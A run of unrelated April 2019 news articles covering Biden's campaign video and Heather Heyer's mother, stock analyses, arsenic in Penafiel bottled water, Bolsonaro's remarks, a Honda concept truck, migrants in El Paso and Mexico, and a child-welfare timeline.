pattern of misconduct. The number and identities of those women has been kept secret. The defense has argued that calling such witnesses would prejudice the case, and asked the court to close Friday's hearing on the subject to avoid tainting the jury pool. The prosecution also asked that the hearing be closed, in part to protect the witnesses' identities. Burke's decision, if he made one, was not disclosed. The two sides also discussed discovery issues on Friday, as the defense sought access to a witness's cell phone records. Pool Joe Biden did not tell Susan Bro, Heather Heyers mother, that he would be invoking her daughters murder in Charlottesville in August 2017 in his presidential campaign launch video focusing on the battle for the soul of America. But I wasnt surprised, Bro, co-founder of the Heather Heyer Foundation set up in her daughters memory, told The Daily Beast. Most people do that sort of thing. They capitalize on whatever situation is handy. He didnt reach out to me, and didnt mention her by name specifically, and he probably knew we dont endorse candidates. In the launch video for his presidential campaign, Biden said, We are in the battle for the soul of this nation. American democracy was at stake under Trump, he added. As The Daily Beast reported, the video included footage of men with tiki torches shouting Jews will not replace us,and images of swastikas and Confederate flags at the right-wing marches that took place in Charlottesville in 2017. We saw Klansmen and white supremacists and neo-Nazis come out in the open, Biden said. Their crazed faces illuminated by torches, veins bulging and baring the fangs of racism, chanting the same anti-Semitic bile heard across Europe in the 30s. Thats when we heard the words of the president of the United States that stunned the world and shocked the conscience of this nation. He said there were quote some very fine people on both sides. Very fine people on both sides? Biden condemned Trump for assigning the same moral equivalence to those spreading hate as well as those with the courage to stand against it. James Alex Fields Jr. was convicted last year of the first-degree murder of Heyer and multiple further counts of malicious wounding. A jury recommended he serve life in prison. Last month he also pleaded guilty to 29 of 30 federal hate-crime charges in exchange for the prosecutors not seeking the death penalty. He will be formally sentenced in July. Asked if she had found Bidens video exploitative, Bro said, Since we had not spoken, Im glad he (Biden) didnt specifically mention Heather. Its not all about her. Story continues Bro added, Its been almost two years since Heather died. Im moving forward. I still grieve for my daughter. But I have a realistic understanding that this was a public event, and people will use it however it suits them. Its just a fact of life. Of Biden, she said, For me, what he did this morning was that he told me where he stands on one issue. Now tell us the rest of your platform. Thats what Im waiting to hear. Ive seen that footage a lot lately for other reasons, said Bro. It was like, Here we go again. I am told by other reporters those who were there at the time have been traumatized by seeing it again. Ive not spoken to them personally. Of President Trump, Bro told The Daily Beast, He should apply the same thought process as I try to apply for myself: think before you speak, always tell the truth, and be accountable for your actions. I still hold those things out for everyone pretty much. I used to teach my fourth graders that. Bro would not be drawn on whether she wanted Trump to remain or be ejected from office. Everybody needs to be informed and make their own decision about who to vote for, Bro said, adding, Im the public face of a 501(c)(3)[non profit]. I cant do that. I have to make it very clear to the public that the Heather Heyer Foundation does not endorse or support any candidates. What we as a Foundation and I personally say, is Pay very close attention to what the candidates are saying and also doing. Do the two match up? Find a candidate who believes in what you believe in. Make an informed decision. Dont just vote on party lines. Make sure you truly support that candidate. And vote. Too many people still dont vote. Bidens video didnt surprise or trigger Bro. It was more like, Oh yeah, OK, here we go. At least twice a week, theres a news story, documentary, or magazine article mentioning Charlottesville and Heather. Its not an uncommon thing. It was a defining moment in white history in many waysa moment when white people finally paid attention. White people say Charlottesville was such a major thing. But murders of people of color in the name of civil rights have gone on for decades, centuries. Bidens video had, Bro said, shifted my day into high gear very suddenly. It was a little annoying to be woken at 7.20 a.m. to start dealing with it. It reminded me of the press turning up at my home at 9am after Heather died. This was not as intense as that. Read more at The Daily Beast. Ben D. Stocks became the CEO of Porvair plc (LON:PRV) in 1998. This report will, first, examine the CEO compensation levels in comparison to CEO compensation at companies of similar size. After that, we will consider the growth in the business. Third, we'll reflect on the total return to shareholders over three years, as a second measure of business performance. This method should give us information to assess how appropriately the company pays the CEO. Check out our latest analysis for Porvair How Does Ben D. Stocks's Compensation Compare With Similar Sized Companies? At the time of writing our data says that Porvair plc has a market cap of UK256m, and is paying total annual CEO compensation of UK1.1m. (This is based on the year to November 2018). That's a fairly small increase of 4.8% on year before. While we always look at total compensation first, we note that the salary component is less, at UK305k. We examined companies with market caps from UK155m to UK620m, and discovered that the median CEO total compensation of that group was UK637k. Thus we can conclude that Ben D. Stocks receives more in total compensation than the median of a group of companies in the same market, and of similar size to Porvair plc. However, this doesn't necessarily mean the pay is too high. A closer look at the performance of the underlying business will give us a better idea about whether the pay is particularly generous. You can see, below, how CEO compensation at Porvair has changed over time. LSE:PRV CEO Compensation, April 26th 2019 Is Porvair plc Growing? On average over the last three years, Porvair plc has grown earnings per share (EPS) by 13% each year (using a line of best fit). Its revenue is up 11% over last year. This shows that the company has improved itself over the last few years. Good news for shareholders. It's a real positive to see this sort of growth in a single year. That suggests a healthy and growing business. Shareholders might be interested in this free visualization of analyst forecasts. Story continues Has Porvair plc Been A Good Investment? Boasting a total shareholder return of 76% over three years, Porvair plc has done well by shareholders. So they may not be at all concerned if the CEO were to be paid more than is normal for companies around the same size. In Summary... We compared total CEO remuneration at Porvair plc with the amount paid at companies with a similar market capitalization. As discussed above, we discovered that the company pays more than the median of that group. However we must not forget that the EPS growth has been very strong over three years. In addition, shareholders have done well over the same time period. Considering this fine result for shareholders, we daresay the CEO compensation might be apt. CEO compensation is one thing, but it is also interesting to check if the CEO is buying or selling Porvair (free visualization of insider trades). If you want to buy a stock that is better than Porvair, this free list of high return, low debt companies is a great place to look. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. Thank you for reading. FDA Has Known of High Arsenic Levels in a Keurig Dr Pepper Bottled Water for Years, Records Show Consumer Reports has no financial relationship with advertisers on this site. Consumer Reports has no financial relationship with advertisers on this site. The Food and Drug Administration learned about high levels of arsenic in a brand of bottled water owned by Keurig Dr Pepper as early as 2013, two years earlier than previously known, according to records obtained this week by Consumer Reports. But the company and the agency have never issued a recall for the product, which is still available for sale online and in stores. CR's recent tests of the bottled waterPenafiel Mineral Spring Water, imported from Mexicofound it had arsenic levels nearly double the federal limit of 10 parts per billion. And CR had previously found that the FDA knew about high levels of arsenic in the water as early as 2015, when the agency put Penafiel on an import alert for excessive arsenic. But it now seems that the FDA knew about concerning levels of arsenic in Penafiel as early as 2013, according to records obtained by CR through a Freedom of Information Act request. The documents show that in March of that year, the federal agency sent inspectors to R.R. Importaciones, a food importer in New Jersey, after tests from the state's health department found Penafiel water with 21.1 ppb of arsenic. (Though the FDA report redacts the brand name (PDF), key details from the records make clear that the bottled water is Penafiel, including that the product was collected on Jan. 29, 2013, and later destroyed as a result of the tests on March 14 of that year.) Rogelio Martinez, the president of R.R. Importaciones according to the FDA report, told inspectors that the product was imported "for a personal activity, with no plans to sell the product." (Martinez could not be reached for comment Thursday; calls to publicly listed phone numbers for R.R. Importaciones went unanswered.) But a year later, R.R. Importaciones was ordered to destroy 63 cases of Penafiel because of the water's previous high arsenic levels. Story continues "I asked Mr. Martinez for evidence of purchasing and interstate documentation of the mentioned product to trace it back to the manufacturer," the FDA inspector wrote in the 2013 report. "Mr. Martinez stated that he does not have any documentation and that he does not keep and/or store those documents." Despite those concerns, the report notes that the inspector did not collect any physical or documentary samples. Katie Gilroy, director of corporate communications for Keurig Dr Pepper, says the company wasn't importing Penafiel into the U.S. during the time frame of the New Jersey testing. "Therefore, the product referenced in those reports was imported into the U.S. illegally, and it was labeled and formulated for sale in Mexico only," Gilroy says. "As we were not the importer of this product, we were not made aware by any authorities of the testing." Gilroy also says that in 2013 the limit in Mexico for arsenic in bottled water was 25 ppb, and as such, "the findings from N.J. regulators in the 2013 testing . . . indicate that the illegally imported product tested was within Mexican regulatory limits." Gilroy previously told CR that the FDA is on board with the companys plan to improve filtration at its factory that makes Penafiel. An FDA spokesperson didn't answer questions regarding the agency's handling of Penafiel or why it has not yet issued a recall for the bottled water but noted earlier that it is investigating the reports of excessive arsenic in the product. The Mexican governments Office of the Federal Prosecutor for the Consumer also said on Tuesday that it has started an investigation of its own, and that Keurig Dr Pepper has been asked to supply information about the product. Same Issue, Different Response The FDA's 2013 inspection of Penafiel stands in contrast to how the agency responded just a few years later to tests showing excessive arsenic in another bottled water brand, Starkey Water, owned by Whole Foods. In December 2016, records show that the FDA was notified of tests conducted by Florida's bottled water regulator revealing that Starkey had roughly 12 ppb of arsenic, above the federal safety threshold. The FDA told Starkey about the tests, indicated that the findings could warrant a recall, and asked how the company planned to respond, according to FDA records on the recall (PDF). A day later, Starkey agreed to the recall. The FDA justified that recall by noting the potential health risks of arsenic in bottled water. "With prolonged use of the product for many years, a wide variety of adverse effects may occur," the report said. "No significant effects are expected with short term use." Growing research has shown that over time, even arsenic levels below 10 ppb increases the risk of cardiovascular disease, can lower IQ scores in children, and can cause certain cancers. Some states have considered revising their safety thresholds for arsenic as a result of research in the area; New Jersey's safety threshold for arsenic in drinking water is 5 ppb, and New Hampshire has proposed a similar change. But neither apply to bottled water. (CR's tests of four samples of Starkey this month found three just under the 10 ppb federal cutoff and one just above it, at 10.1 ppb. The company said it tests "every production run of water before it is sold" and that the products are compliant with FDA standards.) It's unclear why the FDA hasn't taken similar action in response to the Penafiel tests as it did for Starkey Water. Gilroy, at Keurig Dr Pepper, says the company has temporarily halted production of Penafiel for two weeks at one of its Mexican plants after the companys own tests, conducted in response to CRs questions, confirmed it had about 17 ppb of arsenic. The company is taking steps to correct the high arsenic levels and will make updated bottled water reports available when that process is complete, Gilroy says. But the company still does not plan to issue a recall. Thats unacceptable, says Jean Halloran, director of food policy initiatives at CR. An arsenic level of 17 ppb is a clear violation of the federal bottled water standard of 10 ppb, so the company, or the FDA, should carry out an immediate recall. Penafiel should not be treated any differently than Whole Foods. The FDA has an obligation to explain why it has allowed Penafiel to avoid a recall for years. More from Consumer Reports: Top pick tires for 2016 Best used cars for $25,000 and less 7 best mattresses for couples Consumer Reports is an independent, nonprofit organization that works side by side with consumers to create a fairer, safer, and healthier world. CR does not endorse products or services, and does not accept advertising. Copyright 2019, Consumer Reports, Inc. Datang International Power Generation Co., Ltd. (HKG:991), which is in the renewable energy business, and is based in China, received a lot of attention from a substantial price movement on the SEHK over the last few months, increasing to HK$2.32 at one point, and dropping to the lows of HK$1.95. Some share price movements can give investors a better opportunity to enter into the stock, and potentially buy at a lower price. A question to answer is whether Datang International Power Generation's current trading price of HK$2.11 reflective of the actual value of the mid-cap? Or is it currently undervalued, providing us with the opportunity to buy? Lets take a look at Datang International Power Generations outlook and value based on the most recent financial data to see if there are any catalysts for a price change. See our latest analysis for Datang International Power Generation Is Datang International Power Generation still cheap? Datang International Power Generation appears to be overvalued according to my relative valuation model. Ive used the price-to-earnings ratio in this instance because theres not enough visibility to forecast its cash flows. The stocks ratio of 25.19x is currently well-above the industry average of 9.31x, meaning that it is trading at a more expensive price relative to its peers. In addition to this, it seems like Datang International Power Generations share price is quite stable, which could mean two things: firstly, it may take the share price a while to fall back down to an attractive buying range, and secondly, there may be less chances to buy low in the future once it reaches that value. This is because the stock is less volatile than the wider market given its low beta. What kind of growth will Datang International Power Generation generate? SEHK:991 Past and Future Earnings, April 26th 2019 Future outlook is an important aspect when youre looking at buying a stock, especially if you are an investor looking for growth in your portfolio. Although value investors would argue that its the intrinsic value relative to the price that matter the most, a more compelling investment thesis would be high growth potential at a cheap price. With profit expected to more than double over the next couple of years, the future seems bright for Datang International Power Generation. It looks like higher cash flow is on the cards for the stock, which should feed into a higher share valuation. Story continues What this means for you: Are you a shareholder? 991s optimistic future growth appears to have been factored into the current share price, with shares trading above its fair value. However, this brings up another question is now the right time to sell? If you believe 991 should trade below its current price, selling high and buying it back up again when its price falls towards its real value can be profitable. But before you make this decision, take a look at whether its fundamentals have changed. Are you a potential investor? If youve been keeping tabs on 991 for some time, now may not be the best time to enter into the stock. The price has surpassed its industry peers, which means it is likely that there is no more upside from mispricing. However, the positive outlook is encouraging for 991, which means its worth diving deeper into other factors in order to take advantage of the next price drop. Price is just the tip of the iceberg. Dig deeper into what truly matters the fundamentals before you make a decision on Datang International Power Generation. You can find everything you need to know about Datang International Power Generation in the latest infographic research report. If you are no longer interested in Datang International Power Generation, you can use our free platform to see my list of over 50 other stocks with a high growth potential. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. Thank you for reading. Hey, I've got a question: Why wasn't Batman in Avengers: Endgame? Avengers: Endgame, the biggest comic book movie of the last decade, brought all the iconic superheroes together for a glorious, action-packed send-off. Well, almost all the iconic superheroes. There was one glaring omission: Batman. Batman was nowhere to be seen in Endgame, which is odd because most other big comic book characters were featured in it the Hulk, Black Widow, Captain Marvel, Iron Man, and so many others. But no Batman. SEE ALSO: 'Avengers: Endgame': Status of every character after 'Infinity War' As a huge Batman fan, Ive been hoping for years that the caped crusader would pop up at some point in the Marvel Cinematic Universe. I thought it was weird that he wasnt in Avengers back in 2012, and weirder that he didnt appear in Avengers: Age of Ultron or Captain America: Civil War, which both featured a handful of the most popular superheroes (and honestly some pretty lame ones, too). I thought for sure Batman would appear, at last, in Avengers: Infinity War, considering it was billed as the most ambitious crossover event in history. When I bought my tickets, I was excited to see him fight alongside Captain America and the gang. But Batman never showed. And I get it, you cant have every character present, even if it is such a huge movie. Was I disappointed? Of course. But I still held out hope that the dark knight himself would appear in Avengers: Endgame, the culmination of over a decade of interwoven superhero movies. Im sad to report to my fellow Batman fans that Endgame is 181 minutes of Batman-free action. I mean, come on. Batman is widely known as one of the most popular superheroes of all time. How do you not include him? Hes not even in the background of any scenes, and I didnt see any Batman easter eggs like a Battarang stuck to a wall or anything to tease his presence. Its as if Marvel doesnt even want to include Batman in its movies. Story continues Why not? Is he too good? Would it be unfair to all the other heroes? Is it because he exists outside of the Marvel universe and Disney doesn't own the film rights to DC Comics? Hmmm. Batman could have easily fit in that scene with Captain America at therapy. Or if he got dusted in Infinity War, it would have been awesome to see him show up with the rest of the heroes for the final battle against Thanos. No luck. Honestly, at this point, I feel like Batman is never going to show up in the MCU. I'll keep my fingers crossed that he'll pop up in the next era of movies, but at this point, I'm not going to put money on it. Hope this makes you laugh! Sometimes Mashable likes to have fun. By Fabio Teixeira RIO DE JANEIRO, April 26 (Thomson Reuters Foundation) - A comment from President Jair Bolsonaro that Brazil must not become a "gay tourism paradise" sparked concerns that LGBT+ people will avoid traveling to the country, fearing violence, campaigners and industry representatives said on Friday. During a talk with reporters on Thursday, Bolsonaro said that Brazil should avoid being known as a gay destination because "we have families." He said that tourists were more than welcome to "come here and have sex with a woman." "Bolsonaro's homophobic remarks will have social and economic repercussions for Brazil," said John Tanzella, president of the International LGBTQ+ Travel Association, an organization with members in 75 countries. "His hate speech not only deters LGBTQ+ travelers, but also their allies around the world," he told Thomson Reuters Foundation in a written statement. While there is no official data on how much revenue LGBT+ tourism generates in Brazil, major events like Sao Paulo's annual LGBT+ Pride Parade, and Rio de Janeiro's gay-friendly Carnival, fill hotels nearly to maximum capacity. Worldwide, LGBT+ tourists spend around $218 billion a year, according to consulting group Out Now. "It's going to have an impact," said Alfredo Lopes, Rio's regional president of the Brazilian Association of Hotels. Lopes added that LGBT+ tourists are very important to Brazil, and that hotels are ready to receive them. Bolsonaro, a self-proclaimed "proud homophobe," has made a number of disparaging comments about the LGBT+ community during his more than three decades in politics. Critics believe those comments instigate attacks against the LGBT+ community. "He puts a target on the back of all LGBT+ people," congressman David Miranda, a LGBT+ activist, told the Thomson Reuters Foundation. Bolsonaro's administration declined to comment on the accusations. Story continues This time, Miranda said, Bolsonaro also managed to brand Brazil as a friendly destination for sex tourists, an image the country has fought against in recent years. The Brazilian LGBT Chamber of Commerce and Tourism issued an open letter after Bolsonaro's remarks. "(Bolsonaro) suggests that the government will incentivize sex tourism in Brazilian territory, which is not acceptable from a moral or ethical standpoint," said the letter. (Reporting by Fabio Teixeira; Editing by Jason Fields. Please credit Thomson Reuters Foundation, the charitable arm of Thomson Reuters, that covers humanitarian news, womens and LGBT+ rights, human trafficking, property rights, and climate change. Visit www.trust.org) Photo credit: Jessica Lynn Walker - Car and Driver From Car and Driver Random thoughts race through my mind as I climb over the roll cage and strap in behind the wheel of Honda's Rugged Open Air Vehicle (ROAV) concept. Why aren't all desert racers convertibles? What have I done to deserve this bounty? Who invented liquid soap and why? This radically modified Honda Ridgeline mid-size pickup, which debuted at last year's SEMA show, is far from a Baja 1000-ready trophy truck, but the vibe is there. It's all business with its widened stance, roll cage, a gutted interior, four-point belts, window nets, and the lack of a windshield. The ROAV was built in house at Honda R&D Americas in Raymond, Ohio, and the entire truck went from a sketch to the floor of the Las Vegas convention center in just two and half months. Today it's ready to rip up the raw earth inside Honda's Proving Grounds in Cantil, California. We've been granted three laps around one of the facility's many off-road courses, one usually used to develop side-by-side UTVs, dirt bikes, and Honda's other powersports products. Photo credit: Jessica Lynn Walker - Car and Driver Open-Air Inspiration Honda would like us to believe the inspiration for the ROAV was its rugged Pioneer 1000 side-by-side, but the truth is that Honda engineer John Barlow simply missed his 1999 Mazda MX-5 Miata. Barlow sold his little roadster when his family grew to include two young sons. "I sold the Miata to a neighbor," he says, putting a hand to his heart. "That was great because I got to see it, but it hurt every time I heard him fire it up. For me that car wasn't about the speed or the performance, it was about driving with the top down. That's where the original inspiration for this vehicle came from." Barlow, along with Tony Gloriosa and Yousuf Riad, pitched the idea for the ROAV in one of Honda's internal idea contests. It was a hit, and a plan was struck to build the vehicle in coordination with Honda's Powersports division using as many existing components as possible. A "crusher" Ridgeline was secured for parts, along with a new body-in-white, which was shipped from Honda's Lincoln, Alabama, assembly plant before the pillars and roof were welded into place. It's basically just a floor pan, the engine compartment structure, the firewall, and the bed. Story continues Photo credit: Jessica Lynn Walker - Car and Driver Pressing the ROAV's engine start button on the dash does not conjure thoughts of a big-time desert racer. There's no thundering V-8 rumble or lumpy idle. Instead, the Ridgeline's untouched 3.5-liter V-6 fires without drama and settles into a mild purr. Barlow and company did fabricate a dual exhaust system with tubular mufflers and oval pipes, which look awesome dumping just ahead of the truck's rear tires. It may be louder than stock, but it isn't going to wake the neighbors. "It's not to be babied, but it's not to be fully off-roaded either," Barlow says before our first lap. We agree to slowly roll over the track's massive jumps, although we're free to hammer the ROAV down its short straights and banked corners. A Rugged Transformation His concern is understood. The truck's all-wheel-drive system, six-speed automatic, and suspension are all stock Ridgeline fare. There's no additional wheel travel or articulation. The factory springs have been painted red and the dampers are old prototype units found lying around the shop. Barlow admits he has no idea about their specs for rebound and compression. Photo credit: Jessica Lynn Walker - Car and Driver The beefier stance is courtesy of a two-inch lift for the minimal bodywork and 33-inch- tall LT305/60R-18 Dick Cepek Extreme Country off-road tires. Between the stock brakes and aftermarket wheels are two-inch wheel spacers. Honda says there's 14.1 inches of ground clearance, but we measure 10.0 inches beneath the substantial aluminum front skid plate, which Honda fabricated, and just 8.5 inches beneath the truck's rear suspension arms. There is no additional protection for the plastic gas tank or the aluminum rear differential. "If we could have started from scratch, all of that would be gone," Barlow says waving his arm at the rear suspension. Another concern is the truck's fragile front bodywork. The fenders and front fascia were 3D printed to emulate the look of the Pioneer 1000. Each is made up of several pieces bonded together and, like the truck's floor and dash, coated in spray-on bedliner. The bedsides are steel. The ROAV's doors, with their plastic red panels, as well as the headlights, taillights, and steering wheel are sourced from the side-by-side. The new bodywork and lift also increase the Ridgeline's angles of approach (34 degrees), departure (27 degrees) and breakover (27 degrees) considerably. Photo credit: Jessica Lynn Walker - Car and Driver At SEMA, the ROAV wore a printed composite hood that has since been replaced with a more durable steel panel that's secured with four hood pins. The concept's four individual seats are borrowed from a pair of Civic Type Rs and its dash-mounted shifter is from a Honda Odyssey minivan. The sturdy roll cage, which was fabricated in-house, has been welded to the truck's rocker panels and runs through the engine compartment to strengthen the chassis. Pounding Sand One last cinch of my shoulder belts, and I lay into all of the Ridgeline V-6's 280 horsepower and toss the truck into the track's first right-hander, which leads to a massive table-top jump. The dust is flying, but the acceleration is tame. Despite its sparse appearance, the ROAV weighs just 250 pounds less than a stock Ridgeline, the last of which we had on our scales weighed in excess of 4400 pounds. "I personally think we can take the weight down 1000 pounds from a stock Ridgeline if we tried to build one for real," says Barlow. The truck is well-composed, and the chassis feels solid over the track's first series of ruts. The hood and front fenders flap around as the suspension bounces over the loose terrain, but nothing appears to be ready to fall off. The steering is light and quick, and there's plenty of traction from the big off-road tires. Photo credit: Jessica Lynn Walker - Car and Driver With the Ridgeline's all-wheel-drive system in Sand mode, 70 percent of the torque is sent to the rear wheels and its rear differential is electronically locked. But most of the weight is still over the truck's nose, and there's considerable understeer in corners. Pushing the red ROAV Mode button to the left of the steering wheel activates a custom drive setting that sends even more of the torque to the back wheels and disables the stability control system and ABSmaking the truck much more fun to slide around. It still feels big, long, and heavy but not excessively so, and the next few laps are spent pounding it into corners sideways and powering out at full throttle, sending rooster tails of rock and sand up over the roll cage. The Rugged Open Air Vehicle is easy to control in the dirt, despite its stock suspension, and its movements happen lazily, thanks to the Ridgeline's lengthy 125.2-inch wheelbase. Slides are easy to catch, and after a few laps I find a rhythm to flicking the truck sideways from one corner to the next. As long as you bypass the track's jumps, Honda's test course isn't anything a stock Ridgeline or Passport SUV can't handle, but the desert-racing aura of the ROAV enhances the experience 1000 percent. "I'd like to drive it to work," Barlow says. "But they won't let me." A production version of the ROAV with a proper off-road suspension would certainly peg the cool meter. But Honda says such a thing is not being considered, not even in small numbers. For now, the Rugged Open Air Vehicle concept is a one-off with a future limited to a short tour of corporate appearances and as a tool to support STEM (science, technology, engineering, and math) curriculums in schools. From our experience behind the wheel, it should make for one helluva visual learning aid. Photo credit: Jessica Lynn Walker - Car and Driver You Might Also Like El Paso (United States) (AFP) - On a freshly painted wall at the "House of the Refugee" in El Paso in the US state of Texas, a local artist writes the word "esperanza" -- "hope" in Spanish -- in an effort to bring just that to the migrants staying here. The charitable organization Annunciation House opened the 409,027 square foot (38,000 square meter) warehouse in mid-April as an emergency measure to handle the influx of Central American families that cross the Mexican border daily, looking for asylum in the United States. President Donald Trump's administration is struggling to manage the number of arrivals, which passed 100,000 people in March alone, half of which are families. Trump continues to pressure Mexico to do more to stem the inflow of migrants and has pushed for the construction of a wall along the Mexico border, one of the key promises of his presidential campaign. Most migrants surrender to border security once they cross into the US. They are placed in detention centers and undergo background checks before being released. The House of the Refugee -- only half of which has been converted into a shelter -- can hold about 500 people, but the goal is to install up to 1,500 cots once the renovations are complete, Annunciation House executive director Father Ruben Garcia said Wednesday at a press conference. Until now, Annunciation House had sheltered migrants in hotels, at a "prohibitive" cost. "For a long time we used four hotels, 200 plus rooms, at $50 per night per room, so $10,000 per night," versus $30,000 per month for the House of the Refugee, said Garcia. According to him, more than a thousand migrants enter the US daily in the El Paso/Las Cruces region, compared to 700 to 800 in February. - 'Vilification of refugees' - At the House of the Refugee, which is in the east of the border city, asylum-seekers have a cot, bed linens provided by the Red Cross, sanitary products, bathrooms and three meals a day. Story continues Three months' worth of meals and rent for the House of the Refugee have been paid for by charitable organizations. Volunteers help House of the Refugee residents contact family members or close friends who can take them in while the administration considers their asylum requests. Since October 1, 2018, between 50,000 and 60,000 people have been released and gone to El Paso, Las Cruces or Albuquerque, New Mexico, explained Garcia, citing immigration service figures. They stay between one and six days. "We'll call a cousin, who says, 'I will buy the bus ticket today,' and the refugee leaves the next day," he said. "I could probably count on my hand the families that have stayed in these three cities. They're going to very diverse areas, they're not flocking" like they did during the first wave of Central American immigration in the 1980s, he added. In his opinion, it "reflects the evolution of the immigrant population in the US, and it speaks the truth that the US is a nation of immigrants." "There's no reason to believe" that the people staying in the House of the Refugee "pose any kind of a risk to anyone," he said, denouncing an anti-immigrant sentiment that he believes is "the result of vilification of refugees that has been ongoing for quite some time." By Jose Cortes IXTEPEC, Mexico, April 26 (Reuters) - Hundreds of migrants hoping to reach the United States boarded a freight train in southern Mexico late on Thursday, frustrated by efforts to slow their progress by the Mexican government, which is under pressure from U.S. President Donald Trump. The risky move to board the train, known as "La Bestia" (The Beast), followed a mass breakout of migrants from a holding center in the southern border city of Tapachula on Thursday night. The government estimated some 1,300 people escaped but said a majority later returned to the center. Men, women and children from various countries boarded the slow train as it pulled out of the town of Arriaga in the southern state of Chiapas, Mexican media reported. Migration authorities said at least 395 people had boarded the train. A Reuters witness saw dozens of migrants sitting on top of the train on Friday morning as it traveled toward the town of Ixtepec to the northwest of Arriaga. Erick Morazan, 28, a Honduran migrant in Zapata, a few towns north of Arriaga, said he knew several people on the train, adding that he wanted to jump aboard himself. "I know it's very dangerous, but this is the life of a migrant," he told Reuters by telephone. Trump has threatened to close the U.S.-Mexico border if the administration of President Andres Manuel Lopez Obrador does not put a stop to illegal immigrants reaching the U.S. frontier. Migrants are paying little heed so far. The breakout from the Tapachula holding center was one of the biggest in recent years, and came after Mexico had stepped up efforts to round up and send home migrants. Video footage of the escape from the Siglo XXI facility, posted on social media, showed people sprinting from the gates of the holding center, the biggest of its kind in Mexico. Migrant advocacy groups say that Mexican officials have been holding 1,700 people there in a space designed for about half that number. Families of migrants held at the center say conditions inside are difficult. Detainees, they say, sleep on the hard floor, eat poorly and lack medical attention. Mexico's National Migration Institute did not reply to requests for comment on conditions at the facility. (Reporting by Jose Cortes in Ixtepec and Delphine Schrank in Mexico City; Editing by Steve Orlofsky) Photo: WIN Indonesian Grill and Gastrobar/Yelp Interested in trying some new Asian spots in Atlanta? You're in luck: we've found the freshest businesses to fill the bill. Here are the newest places to check out the next time you're in the mood for Asian food. Pho King Express Pho King Express is a Vietnamese spot located at 10 Park Place South in Downtown. This spot specializes in pho, rice plates and bubble tea with add-ons like pineapple, avocado, coconut and more. Pho King Express also serves up banh mi sandwiches with barbecue chicken or pork. Pho King Express currently holds five stars out of four reviews on Yelp, indicating good reviews. Yelper Ethan L., who reviewed Pho King Express on April 13, wrote, "This is the best pho soup I have ever tried in Atlanta. The restaurant decor is cute, too." And Luwei G. noted, "The place was innovative in that they provided a veggie bar for you to pick the items you want for your pho." Pho King Express is open from 10 a.m.7 p.m. on Monday-Saturday. (It's closed on Sunday.) Bao Bun Cafe Bao Bun Cafe is an Asian fusion, Taiwanese and Chinese spot located at 1715 Howell Mill Road, Suite C15-A. On the menu look for Chef John's special pasta with ground pork, shredded vegetables, egg, chicken and a sesame peanut sauce. There's also a variety of drink specials like the Brown Zebra, a concoction of iced milk, brown sugar and boba pearls. With a 4.5-star rating out of 10 reviews on Yelp so far, the new arrival is on its way to developing a local fan base. Yelper Sam L., who reviewed the new spot on April 22, wrote, "This was pretty good Taiwanese food great quality for what you're paying, and portions are quite good!" And Grace M. wrote, "We got the sesame bun combo and Chef John's special pasta. The pasta was good with fresh veggies and flavorful peanut sauce. Good cold noodles for a hot day. The sesame bun with beef was good; the bun was flaky and the meat was savory plus the fresh herbs and cucumber really brought the flavors together. The seaweed roll was fried to perfection." Story continues Head on over to check it out: Bao Bun Cafe is open from 11 a.m.9 p.m. daily. WIN Indonesian Grill and Gastrobar Photo: daniel b./Yelp Buckhead's WIN Indonesian Grill and Gastrobar is a gastropub and Indonesian spot located at 2285 Peachtree Road NE, Suite #100. This spot offers a variety of appetizers including sate options available in chicken, pork, beef and lamb. Also, look for the Kare Udang among the main courses; the dish features jumbo shrimp, curry, vegetables and rice. Take a gander at the full menu here. WIN Indonesian Grill and Gastrobar currently holds 4.5 stars out of 42 reviews on Yelp, indicating good reviews. Yelper Mary M., who was one of the first users to visit WIN Indonesian Grill and Gastrobar on March 9, wrote, "The flavors of Bali have come to Buckhead! Pretend you are in Indonesia and dive right into the four-course meal. You will not regret it. The chicken soup will be the next thing you crave." WIN Indonesian Grill and Gastrobar is open from 5 p.m.10 p.m. on Sunday-Thursday, and 5 p.m.11 p.m. on Friday and Saturday. This story was created automatically using local business data, then reviewed and augmented by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. Illinois parents are facing murder charges in the beating death of their son, 5-year-old Andrew "AJ" Freund, whose body was found wrapped in plastic and buried in a shallow grave. The family previously had interaction with state child welfare workers. The Illinois Department of Children and Family Services on Friday released the following timeline of the agency's interaction with Joann Cunningham, 36, and Andrew Freund Sr., 60. ___ June 7, 2012: DCFS receives a hotline call alleging Cunningham was abusing prescription drugs and neglecting her foster child. The report was unfounded and expunged. Dec. 24, 2012: DCFS receives a hotline call alleging Cunningham's oldest son is neglected and she is abusing prescription drugs and has mental health issues. The report was unfounded and expunged. Oct. 14, 2013: Cunningham gives birth to Andrew "AJ" Freund. Oct. 16, 2013: Cunningham and AJ test positive for opiates and benzodiazepines. The boy is removed from his mother's care. Nov. 12, 2013: DCFS takes protective custody of AJ. Nov. 14, 2013: DCFS is granted temporary custody of AJ in juvenile court. The Youth Service Bureau of Illinois is assigned to provide services to the family. Cunningham and Freund participate in a drug treatment program. June 2015: Judge orders AJ returned to Cunningham. June 2015 to April 2016: Youth Service Bureau worker makes 17 unannounced and nine scheduled visits to the parents' home. The worker does not observe signs of abuse or neglect. Aug. 28, 2015: Worker is informed the father's drug test was invalid. April 2016: AJ's juvenile court case is closed. March 21, 2018: DCFS receives a hotline report alleging Cunningham was brought to the emergency room after being found unresponsive in a car. He was observed at the hospital to have odd bruising on his face. DCFS worker makes unsuccessful attempts to see the children March 21, March 29 and April 9, 2018. April 25, 2018: DCFS investigator meets with Cunningham, AJ and his younger brother. Cunningham was interviewed while the boys played outside. DCFS investigator finds the boys to be clean and no signs of maltreatment. Story continues May 17, 2018: DCFS investigator completes final home safety assessment. Both boys are found to be clean and dressed appropriately. Cunningham reports a history of drug use and current drug treatment. The home is found to be clean, neat and adequately furnished. May 18, 2018: DCFS investigator verifies Cunningham's participation in a drug treatment program. The report from March 2018 was unfounded and the investigation closed. 